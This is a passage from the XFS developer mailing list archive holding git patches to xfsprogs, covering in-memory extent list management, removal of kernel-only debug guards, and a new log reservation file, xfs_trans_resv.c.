+ (nextents - (idx + ext_diff)) * + sizeof(xfs_bmbt_rec_t)); + } + memset(&ifp->if_u1.if_extents[nextents - ext_diff], + 0, ext_diff * sizeof(xfs_bmbt_rec_t)); + /* + * Reallocate the direct extent list. If the extents + * will fit inside the inode then xfs_iext_realloc_direct + * will switch from direct to inline extent allocation + * mode for us. + */ + xfs_iext_realloc_direct(ifp, new_size); + ifp->if_bytes = new_size; +} + +/* + * This is called when incore extents are being removed from the + * indirection array and the extents being removed span multiple extent + * buffers. The idx parameter contains the file extent index where we + * want to begin removing extents, and the count parameter contains + * how many extents need to be removed. + * + * |-------| |-------| + * | nex1 | | | nex1 - number of extents before idx + * |-------| | count | + * | | | | count - number of extents being removed at idx + * | count | |-------| + * | | | nex2 | nex2 - number of extents after idx + count + * |-------| |-------| + */ +void +xfs_iext_remove_indirect( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing extents */ + int count) /* number of extents to remove */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int erp_idx = 0; /* indirection array index */ + xfs_extnum_t ext_cnt; /* extents left to remove */ + xfs_extnum_t ext_diff; /* extents to remove in current list */ + xfs_extnum_t nex1; /* number of extents before idx */ + xfs_extnum_t nex2; /* extents after idx + count */ + int page_idx = idx; /* index in target extent list */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); + ASSERT(erp != NULL); + nex1 = page_idx; + ext_cnt = count; + while (ext_cnt) { + nex2 = MAX((erp->er_extcount - (nex1 + ext_cnt)), 0); + ext_diff = MIN(ext_cnt, (erp->er_extcount - nex1)); + /* + * Check for deletion of entire list; + * xfs_iext_irec_remove() updates extent offsets. + */ + if (ext_diff == erp->er_extcount) { + xfs_iext_irec_remove(ifp, erp_idx); + ext_cnt -= ext_diff; + nex1 = 0; + if (ext_cnt) { + ASSERT(erp_idx < ifp->if_real_bytes / + XFS_IEXT_BUFSZ); + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + nex1 = 0; + continue; + } else { + break; + } + } + /* Move extents up (if needed) */ + if (nex2) { + memmove(&erp->er_extbuf[nex1], + &erp->er_extbuf[nex1 + ext_diff], + nex2 * sizeof(xfs_bmbt_rec_t)); + } + /* Zero out rest of page */ + memset(&erp->er_extbuf[nex1 + nex2], 0, (XFS_IEXT_BUFSZ - + ((nex1 + nex2) * sizeof(xfs_bmbt_rec_t)))); + /* Update remaining counters */ + erp->er_extcount -= ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -ext_diff); + ext_cnt -= ext_diff; + nex1 = 0; + erp_idx++; + erp++; + } + ifp->if_bytes -= count * sizeof(xfs_bmbt_rec_t); + xfs_iext_irec_compact(ifp); +} + +/* + * Create, destroy, or resize a linear (direct) block of extents. + */ +void +xfs_iext_realloc_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* new size of extents */ +{ + int rnew_size; /* real new size of extents */ + + rnew_size = new_size; + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC) || + ((new_size >= 0) && (new_size <= XFS_IEXT_BUFSZ) && + (new_size != ifp->if_real_bytes))); + + /* Free extent records */ + if (new_size == 0) { + xfs_iext_destroy(ifp); + } + /* Resize direct extent list and zero any new bytes */ + else if (ifp->if_real_bytes) { + /* Check if extents will fit inside the inode */ + if (new_size <= XFS_INLINE_EXTS * sizeof(xfs_bmbt_rec_t)) { + xfs_iext_direct_to_inline(ifp, new_size / + (uint)sizeof(xfs_bmbt_rec_t)); + ifp->if_bytes = new_size; + return; + } + if (!is_power_of_2(new_size)){ + rnew_size = roundup_pow_of_two(new_size); + } + if (rnew_size != ifp->if_real_bytes) { + ifp->if_u1.if_extents = + kmem_realloc(ifp->if_u1.if_extents, + rnew_size, + ifp->if_real_bytes, KM_NOFS); + } + if (rnew_size > ifp->if_real_bytes) { + memset(&ifp->if_u1.if_extents[ifp->if_bytes / + (uint)sizeof(xfs_bmbt_rec_t)], 0, + rnew_size - ifp->if_real_bytes); + } + } + /* + * Switch from the inline extent buffer to a direct + * extent list. Be sure to include the inline extent + * bytes in new_size. + */ + else { + new_size += ifp->if_bytes; + if (!is_power_of_2(new_size)) { + rnew_size = roundup_pow_of_two(new_size); + } + xfs_iext_inline_to_direct(ifp, rnew_size); + } + ifp->if_real_bytes = rnew_size; + ifp->if_bytes = new_size; +} + +/* + * Switch from linear (direct) extent records to inline buffer. + */ +void +xfs_iext_direct_to_inline( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t nextents) /* number of extents in file */ +{ + ASSERT(ifp->if_flags & XFS_IFEXTENTS); + ASSERT(nextents <= XFS_INLINE_EXTS); + /* + * The inline buffer was zeroed when we switched + * from inline to direct extent allocation mode, + * so we don't need to clear it here. + */ + memcpy(ifp->if_u2.if_inline_ext, ifp->if_u1.if_extents, + nextents * sizeof(xfs_bmbt_rec_t)); + kmem_free(ifp->if_u1.if_extents); + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + ifp->if_real_bytes = 0; +} + +/* + * Switch from inline buffer to linear (direct) extent records. + * new_size should already be rounded up to the next power of 2 + * by the caller (when appropriate), so use new_size as it is. + * However, since new_size may be rounded up, we can't update + * if_bytes here. It is the caller's responsibility to update + * if_bytes upon return. + */ +void +xfs_iext_inline_to_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* number of extents in file */ +{ + ifp->if_u1.if_extents = kmem_alloc(new_size, KM_NOFS); + memset(ifp->if_u1.if_extents, 0, new_size); + if (ifp->if_bytes) { + memcpy(ifp->if_u1.if_extents, ifp->if_u2.if_inline_ext, + ifp->if_bytes); + memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * + sizeof(xfs_bmbt_rec_t)); + } + ifp->if_real_bytes = new_size; +} + +/* + * Resize an extent indirection array to new_size bytes. + */ +STATIC void +xfs_iext_realloc_indirect( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* new indirection array size */ +{ + int nlists; /* number of irec's (ex lists) */ + int size; /* current indirection array size */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + size = nlists * sizeof(xfs_ext_irec_t); + ASSERT(ifp->if_real_bytes); + ASSERT((new_size >= 0) && (new_size != size)); + if (new_size == 0) { + xfs_iext_destroy(ifp); + } else { + ifp->if_u1.if_ext_irec = (xfs_ext_irec_t *) + kmem_realloc(ifp->if_u1.if_ext_irec, + new_size, size, KM_NOFS); + } +} + +/* + * Switch from indirection array to linear (direct) extent allocations. + */ +STATIC void +xfs_iext_indirect_to_direct( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_bmbt_rec_host_t *ep; /* extent record pointer */ + xfs_extnum_t nextents; /* number of extents in file */ + int size; /* size of file extents */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(nextents <= XFS_LINEAR_EXTS); + size = nextents * sizeof(xfs_bmbt_rec_t); + + xfs_iext_irec_compact_pages(ifp); + ASSERT(ifp->if_real_bytes == XFS_IEXT_BUFSZ); + + ep = ifp->if_u1.if_ext_irec->er_extbuf; + kmem_free(ifp->if_u1.if_ext_irec); + ifp->if_flags &= ~XFS_IFEXTIREC; + ifp->if_u1.if_extents = ep; + ifp->if_bytes = size; + if (nextents < XFS_LINEAR_EXTS) { + xfs_iext_realloc_direct(ifp, size); + } +} + +/* + * Free incore file extents. + */ +void +xfs_iext_destroy( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + if (ifp->if_flags & XFS_IFEXTIREC) { + int erp_idx; + int nlists; + + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { + xfs_iext_irec_remove(ifp, erp_idx); + } + ifp->if_flags &= ~XFS_IFEXTIREC; + } else if (ifp->if_real_bytes) { + kmem_free(ifp->if_u1.if_extents); + } else if (ifp->if_bytes) { + memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * + sizeof(xfs_bmbt_rec_t)); + } + ifp->if_u1.if_extents = NULL; + ifp->if_real_bytes = 0; + ifp->if_bytes = 0; +} + +/* + * Return a pointer to the extent record for file system block bno. + */ +xfs_bmbt_rec_host_t * /* pointer to found extent record */ +xfs_iext_bno_to_ext( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_fileoff_t bno, /* block number to search for */ + xfs_extnum_t *idxp) /* index of target extent */ +{ + xfs_bmbt_rec_host_t *base; /* pointer to first extent */ + xfs_filblks_t blockcount = 0; /* number of blocks in extent */ + xfs_bmbt_rec_host_t *ep = NULL; /* pointer to target extent */ + xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ + int high; /* upper boundary in search */ + xfs_extnum_t idx = 0; /* index of target extent */ + int low; /* lower boundary in search */ + xfs_extnum_t nextents; /* number of file extents */ + xfs_fileoff_t startoff = 0; /* start offset of extent */ + + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + if (nextents == 0) { + *idxp = 0; + return NULL; + } + low = 0; + if (ifp->if_flags & XFS_IFEXTIREC) { + /* Find target extent list */ + int erp_idx = 0; + erp = xfs_iext_bno_to_irec(ifp, bno, &erp_idx); + base = erp->er_extbuf; + high = erp->er_extcount - 1; + } else { + base = ifp->if_u1.if_extents; + high = nextents - 1; + } + /* Binary search extent records */ + while (low <= high) { + idx = (low + high) >> 1; + ep = base + idx; + startoff = xfs_bmbt_get_startoff(ep); + blockcount = xfs_bmbt_get_blockcount(ep); + if (bno < startoff) { + high = idx - 1; + } else if (bno >= startoff + blockcount) { + low = idx + 1; + } else { + /* Convert back to file-based extent index */ + if (ifp->if_flags & XFS_IFEXTIREC) { + idx += erp->er_extoff; + } + *idxp = idx; + return ep; + } + } + /* Convert back to file-based extent index */ + if (ifp->if_flags & XFS_IFEXTIREC) { + idx += erp->er_extoff; + } + if (bno >= startoff + blockcount) { + if (++idx == nextents) { + ep = NULL; + } else { + ep = xfs_iext_get_ext(ifp, idx); + } + } + *idxp = idx; + return ep; +} + +/* + * Return a pointer to the indirection array entry containing the + * extent record for filesystem block bno. Store the index of the + * target irec in *erp_idxp. + */ +xfs_ext_irec_t * /* pointer to found extent record */ +xfs_iext_bno_to_irec( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_fileoff_t bno, /* block number to search for */ + int *erp_idxp) /* irec index of target ext list */ +{ + xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ + xfs_ext_irec_t *erp_next; /* next indirection array entry */ + int erp_idx; /* indirection array index */ + int nlists; /* number of extent irec's (lists) */ + int high; /* binary search upper limit */ + int low; /* binary search lower limit */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp_idx = 0; + low = 0; + high = nlists - 1; + while (low <= high) { + erp_idx = (low + high) >> 1; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + erp_next = erp_idx < nlists - 1 ? erp + 1 : NULL; + if (bno < xfs_bmbt_get_startoff(erp->er_extbuf)) { + high = erp_idx - 1; + } else if (erp_next && bno >= + xfs_bmbt_get_startoff(erp_next->er_extbuf)) { + low = erp_idx + 1; + } else { + break; + } + } + *erp_idxp = erp_idx; + return erp; +} + +/* + * Return a pointer to the indirection array entry containing the + * extent record at file extent index *idxp. Store the index of the + * target irec in *erp_idxp and store the page index of the target + * extent record in *idxp. + */ +xfs_ext_irec_t * +xfs_iext_idx_to_irec( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t *idxp, /* extent index (file -> page) */ + int *erp_idxp, /* pointer to target irec */ + int realloc) /* new bytes were just added */ +{ + xfs_ext_irec_t *prev; /* pointer to previous irec */ + xfs_ext_irec_t *erp = NULL; /* pointer to current irec */ + int erp_idx; /* indirection array index */ + int nlists; /* number of irec's (ex lists) */ + int high; /* binary search upper limit */ + int low; /* binary search lower limit */ + xfs_extnum_t page_idx = *idxp; /* extent index in target list */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + ASSERT(page_idx >= 0); + ASSERT(page_idx <= ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); + ASSERT(page_idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t) || realloc); + + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp_idx = 0; + low = 0; + high = nlists - 1; + + /* Binary search extent irec's */ + while (low <= high) { + erp_idx = (low + high) >> 1; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + prev = erp_idx > 0 ? erp - 1 : NULL; + if (page_idx < erp->er_extoff || (page_idx == erp->er_extoff && + realloc && prev && prev->er_extcount < XFS_LINEAR_EXTS)) { + high = erp_idx - 1; + } else if (page_idx > erp->er_extoff + erp->er_extcount || + (page_idx == erp->er_extoff + erp->er_extcount && + !realloc)) { + low = erp_idx + 1; + } else if (page_idx == erp->er_extoff + erp->er_extcount && + erp->er_extcount == XFS_LINEAR_EXTS) { + ASSERT(realloc); + page_idx = 0; + erp_idx++; + erp = erp_idx < nlists ? erp + 1 : NULL; + break; + } else { + page_idx -= erp->er_extoff; + break; + } + } + *idxp = page_idx; + *erp_idxp = erp_idx; + return(erp); +} + +/* + * Allocate and initialize an indirection array once the space needed + * for incore extents increases above XFS_IEXT_BUFSZ. + */ +void +xfs_iext_irec_init( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + xfs_extnum_t nextents; /* number of extents in file */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(nextents <= XFS_LINEAR_EXTS); + + erp = kmem_alloc(sizeof(xfs_ext_irec_t), KM_NOFS); + + if (nextents == 0) { + ifp->if_u1.if_extents = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); + } else if (!ifp->if_real_bytes) { + xfs_iext_inline_to_direct(ifp, XFS_IEXT_BUFSZ); + } else if (ifp->if_real_bytes < XFS_IEXT_BUFSZ) { + xfs_iext_realloc_direct(ifp, XFS_IEXT_BUFSZ); + } + erp->er_extbuf = ifp->if_u1.if_extents; + erp->er_extcount = nextents; + erp->er_extoff = 0; + + ifp->if_flags |= XFS_IFEXTIREC; + ifp->if_real_bytes = XFS_IEXT_BUFSZ; + ifp->if_bytes = nextents * sizeof(xfs_bmbt_rec_t); + ifp->if_u1.if_ext_irec = erp; + + return; +} + +/* + * Allocate and initialize a new entry in the indirection array. + */ +xfs_ext_irec_t * +xfs_iext_irec_new( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx) /* index for new irec */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + + /* Resize indirection array */ + xfs_iext_realloc_indirect(ifp, ++nlists * + sizeof(xfs_ext_irec_t)); + /* + * Move records down in the array so the + * new page can use erp_idx. + */ + erp = ifp->if_u1.if_ext_irec; + for (i = nlists - 1; i > erp_idx; i--) { + memmove(&erp[i], &erp[i-1], sizeof(xfs_ext_irec_t)); + } + ASSERT(i == erp_idx); + + /* Initialize new extent record */ + erp = ifp->if_u1.if_ext_irec; + erp[erp_idx].er_extbuf = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); + ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; + memset(erp[erp_idx].er_extbuf, 0, XFS_IEXT_BUFSZ); + erp[erp_idx].er_extcount = 0; + erp[erp_idx].er_extoff = erp_idx > 0 ? + erp[erp_idx-1].er_extoff + erp[erp_idx-1].er_extcount : 0; + return (&erp[erp_idx]); +} + +/* + * Remove a record from the indirection array. + */ +void +xfs_iext_irec_remove( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx) /* irec index to remove */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + if (erp->er_extbuf) { + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, + -erp->er_extcount); + kmem_free(erp->er_extbuf); + } + /* Compact extent records */ + erp = ifp->if_u1.if_ext_irec; + for (i = erp_idx; i < nlists - 1; i++) { + memmove(&erp[i], &erp[i+1], sizeof(xfs_ext_irec_t)); + } + /* + * Manually free the last extent record from the indirection + * array. A call to xfs_iext_realloc_indirect() with a size + * of zero would result in a call to xfs_iext_destroy() which + * would in turn call this function again, creating a nasty + * infinite loop. + */ + if (--nlists) { + xfs_iext_realloc_indirect(ifp, + nlists * sizeof(xfs_ext_irec_t)); + } else { + kmem_free(ifp->if_u1.if_ext_irec); + } + ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; +} + +/* + * This is called to clean up large amounts of unused memory allocated + * by the indirection array. Before compacting anything though, verify + * that the indirection array is still needed and switch back to the + * linear extent list (or even the inline buffer) if possible. The + * compaction policy is as follows: + * + * Full Compaction: Extents fit into a single page (or inline buffer) + * Partial Compaction: Extents occupy less than 50% of allocated space + * No Compaction: Extents occupy at least 50% of allocated space + */ +void +xfs_iext_irec_compact( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_extnum_t nextents; /* number of extents in file */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + + if (nextents == 0) { + xfs_iext_destroy(ifp); + } else if (nextents <= XFS_INLINE_EXTS) { + xfs_iext_indirect_to_direct(ifp); + xfs_iext_direct_to_inline(ifp, nextents); + } else if (nextents <= XFS_LINEAR_EXTS) { + xfs_iext_indirect_to_direct(ifp); + } else if (nextents < (nlists * XFS_LINEAR_EXTS) >> 1) { + xfs_iext_irec_compact_pages(ifp); + } +} + +/* + * Combine extents from neighboring extent pages. + */ +void +xfs_iext_irec_compact_pages( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_ext_irec_t *erp, *erp_next;/* pointers to irec entries */ + int erp_idx = 0; /* indirection array index */ + int nlists; /* number of irec's (ex lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + while (erp_idx < nlists - 1) { + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + erp_next = erp + 1; + if (erp_next->er_extcount <= + (XFS_LINEAR_EXTS - erp->er_extcount)) { + memcpy(&erp->er_extbuf[erp->er_extcount], + erp_next->er_extbuf, erp_next->er_extcount * + sizeof(xfs_bmbt_rec_t)); + erp->er_extcount += erp_next->er_extcount; + /* + * Free page before removing extent record + * so er_extoffs don't get modified in + * xfs_iext_irec_remove. + */ + kmem_free(erp_next->er_extbuf); + erp_next->er_extbuf = NULL; + xfs_iext_irec_remove(ifp, erp_idx + 1); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + } else { + erp_idx++; + } + } +} + +/* + * This is called to update the er_extoff field in the indirection + * array when extents have been added or removed from one of the + * extent lists. erp_idx contains the irec index to begin updating + * at and ext_diff contains the number of extents that were added + * or removed. + */ +void +xfs_iext_irec_update_extoffs( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx, /* irec index to update */ + int ext_diff) /* number of new extents */ +{ + int i; /* loop counter */ + int nlists; /* number of irec's (ex lists */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + for (i = erp_idx; i < nlists; i++) { + ifp->if_u1.if_ext_irec[i].er_extoff += ext_diff; + } +} -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:37:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 13F4229DFB for ; Wed, 4 Sep 2013 17:37:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 024CE8F8033 for ; Wed, 4 Sep 2013 15:37:23 -0700 (PDT) X-ASG-Debug-ID: 1378334242-04cb6c2e9dd58db0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id pCq0mFv4yWYrDQBc for ; Wed, 04 Sep 2013 15:37:22 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIADW1J1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo4j32EBwOUG44JhzeDMiqBLiQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 08:07:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dB-8b for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003u6-6e for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 37/55] xfs: remove __KERNEL__ from debug code Date: Thu, 5 Sep 2013 08:05:41 +1000 X-ASG-Orig-Subj: [PATCH 37/55] xfs: remove __KERNEL__ from debug code Message-Id: <1378332359-14737-38-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378334242 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is no reason the remaining kernel-only debug code needs to remain kernel-only. Kill the __KERNEL__ part of the defines, and let userspace handle the debug code appropriately. Signed-off-by: Dave Chinner --- include/xfs_bmap.h | 2 +- libxfs/xfs_dir2_data.c | 4 ++-- libxfs/xfs_rtalloc.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/include/xfs_bmap.h b/include/xfs_bmap.h index 8b2fe97..33b41f3 100644 --- a/include/xfs_bmap.h +++ b/include/xfs_bmap.h @@ -127,7 +127,7 @@ static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) { BMAP_RIGHT_FILLING, "RF" }, \ { BMAP_ATTRFORK, "ATTR" } -#if defined(__KERNEL) && defined(DEBUG) +#ifdef DEBUG void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int whichfork, unsigned long caller_ip); #define XFS_BMAP_TRACE_EXLIST(ip,c,w) \ diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 064ddb2..5074878 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -315,7 +315,7 @@ xfs_dir2_data_freefind( xfs_dir2_data_free_t *dfp; /* bestfree entry */ xfs_dir2_data_aoff_t off; /* offset value needed */ struct xfs_dir2_data_free *bf; -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG int matched; /* matched the value */ int seenzero; /* saw a 0 bestfree entry */ #endif @@ -323,7 +323,7 @@ xfs_dir2_data_freefind( off = (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr); bf = xfs_dir3_data_bestfree_p(hdr); -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG /* * Validate some consistency in the bestfree table. * Check order, non-overlapping entries, and if we find the diff --git a/libxfs/xfs_rtalloc.c b/libxfs/xfs_rtalloc.c index 9797db7..f5a90b2 100644 --- a/libxfs/xfs_rtalloc.c +++ b/libxfs/xfs_rtalloc.c @@ -735,7 +735,7 @@ xfs_rtfree_extent( ASSERT(mp->m_rbmip->i_itemp != NULL); ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); -#if defined(__KERNEL__) && defined(DEBUG) +#ifdef DEBUG /* * Check to see that this whole range is currently allocated. */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:37:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6594B29E11 for ; Wed, 4 Sep 2013 17:37:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 564D28F8033 for ; Wed, 4 Sep 2013 15:37:32 -0700 (PDT) X-ASG-Debug-ID: 1378334242-04cb6c2e9dd58db0002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Z3qKkALXYMX84jBq for ; Wed, 04 Sep 2013 15:37:26 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIADW1J1J5LJ62/2dsb2JhbABVBoMHrlGVIRd0giQBAQUaAQwvMwgYGBk5AxsZiAG6OI4pCAKBPoQTA5QbjgmHN4MyKoEsAR8E Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 08:07:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007de-0A for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003t8-Vc for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 25/55] libxfs: introduce xfs_trans_resv.c Date: Thu, 5 Sep 2013 08:05:29 +1000 X-ASG-Orig-Subj: [PATCH 25/55] libxfs: introduce xfs_trans_resv.c Message-Id: <1378332359-14737-26-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378334243 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The log space reservation calculation code has been separated from the core transaction code in kernelspace. THi smeans we can add it here in preparation for removing xfs_trans.c to further reduce the differences between kernel and usrspace files. Signed-off-by: Dave Chinner --- include/Makefile | 5 +- include/libxfs.h | 23 +- include/xfs_mount.h | 33 +-- include/xfs_trans.h | 331 ----------------------- include/xfs_trans_resv.h | 137 ++++++++++ libxfs/Makefile | 7 +- libxfs/xfs.h | 2 + libxfs/xfs_trans.c | 576 +--------------------------------------- libxfs/xfs_trans_resv.c | 677 +++++++++++++++++++++++++++++++++++++++++++++++ mkfs/maxtrres.c | 8 +- 10 files changed, 851 insertions(+), 948 deletions(-) delete mode 100644 include/xfs_trans.h create mode 100644 include/xfs_trans_resv.h create mode 100644 libxfs/xfs_trans_resv.c diff --git a/include/Makefile b/include/Makefile index 11f13dd..94cb8e0 100644 --- a/include/Makefile +++ b/include/Makefile @@ -39,7 +39,10 @@ QAHFILES = libxfs.h libxlog.h \ xfs_quota_defs.h \ xfs_sb.h \ xfs_symlink.h \ - xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h + xfs_trace.h \ + xfs_trans_resv.h \ + xfs_trans_space.h \ + xfs_dfrag.h HFILES = 